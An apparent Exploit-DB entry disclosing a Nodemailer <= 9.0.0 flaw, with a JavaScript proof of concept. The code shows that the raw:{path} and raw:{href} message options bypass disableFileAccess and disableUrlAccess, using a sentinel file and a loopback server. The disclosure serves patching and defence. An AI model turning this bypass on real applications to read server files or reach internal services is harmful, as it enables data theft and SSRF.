- What: Nodemailer 9.0.0 has a file read and SSRF vulnerability
- Impact: Attackers may access internal files or perform server-side requests
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youâve provided to them or that theyâve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Nodemailer 9.0.0 - File Read/ SSRF EDB-ID: 52654 CVE: N/A EDB Verified: Author: JORGE GONZĂLEZ MILLA Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-08-18 Vulnerable App: # Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge GonzĂĄlez Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc-raw-fileaccess-bypass.js) --- 'use strict'; /* * PoC â message-level `raw` option bypasses disableFileAccess / disableUrlAccess. * * Threat model: an application that accepts untrusted message data passes * `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to * prevent that untrusted input from reading local files or fetching URLs * (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about). * * This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) { // streamTransport => fully local, returns the generated message as a stream. const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, // The application's protective flags: disableFileAccess: true, disableUrlAccess: true }); transporter.sendMail(data, (err, info) => { if (err) return cb(err); cb(null, info.message.toString()); }); } function run() { console.log('Nodemailer version:', require('../../../nodemailer/package.json').version); console.log('Sentinel file :', sentinelPath); console.log('Nonce :', NONCE); console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n'); // --- CONTROL: a normal attachment with the same path MUST be rejected --- buildMessage( { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] }, (err, msg) => { const controlBlocked = !!err && err.code === 'EFILEACCESS'; console.log('[CONTROL] attachment path with disableFileAccess:'); console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) â flag works here' : 'NOT blocked (unexpected): ' + (err && err.message))); // --- ATTACK: message-level raw with the same path --- buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => { if (err2) { console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message); return finishUrl(controlBlocked, false); } const leaked = msg2.indexOf(NONCE) !== -1; console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:'); console.log(' => ' + (leaked ? 'BYPASSED â sentinel file CONTENT is present in the generated message' : 'not leaked (sentinel nonce absent)')); if (leaked) { const idx = msg2.indexOf(NONCE); console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...'); } finishUrl(controlBlocked, leaked); }); } ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) { const URLNONCE = NONCE + '-URL'; const server = http.createServer((req, res) => { res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n'); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; const href = ' http://127.0.0.1 :' + port + '/sentinel'; buildMessage({ raw: { href: href } }, (err, msg) => { let urlLeaked = false; if (err) { console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message); } else { urlLeaked = msg.indexOf(URLNONCE) !== -1; console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):'); console.log(' => ' + (urlLeaked ? 'BYPASSED â server-side fetched body is present in the generated message (SSRF)' : 'not leaked')); } server.close(); try { fs.unlinkSync(sentinelPath); } catch (_e) {} console.log('\n================ RESULT ================'); console.log('control attachment blocked by flag : ' + controlBlocked); console.log('raw:{path} file-access bypass : ' + fileLeaked); console.log('raw:{href} url-access bypass : ' + urlLeaked); const pass = controlBlocked && (fileLeaked || urlLeaked); console.log('VERDICT: ' + (pass ? 'CONFIRMED â raw bypasses the access flags that block attachments' : 'NOT CONFIRMED')); process.exit(pass ? 0 : 1); }); }); } run(); Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.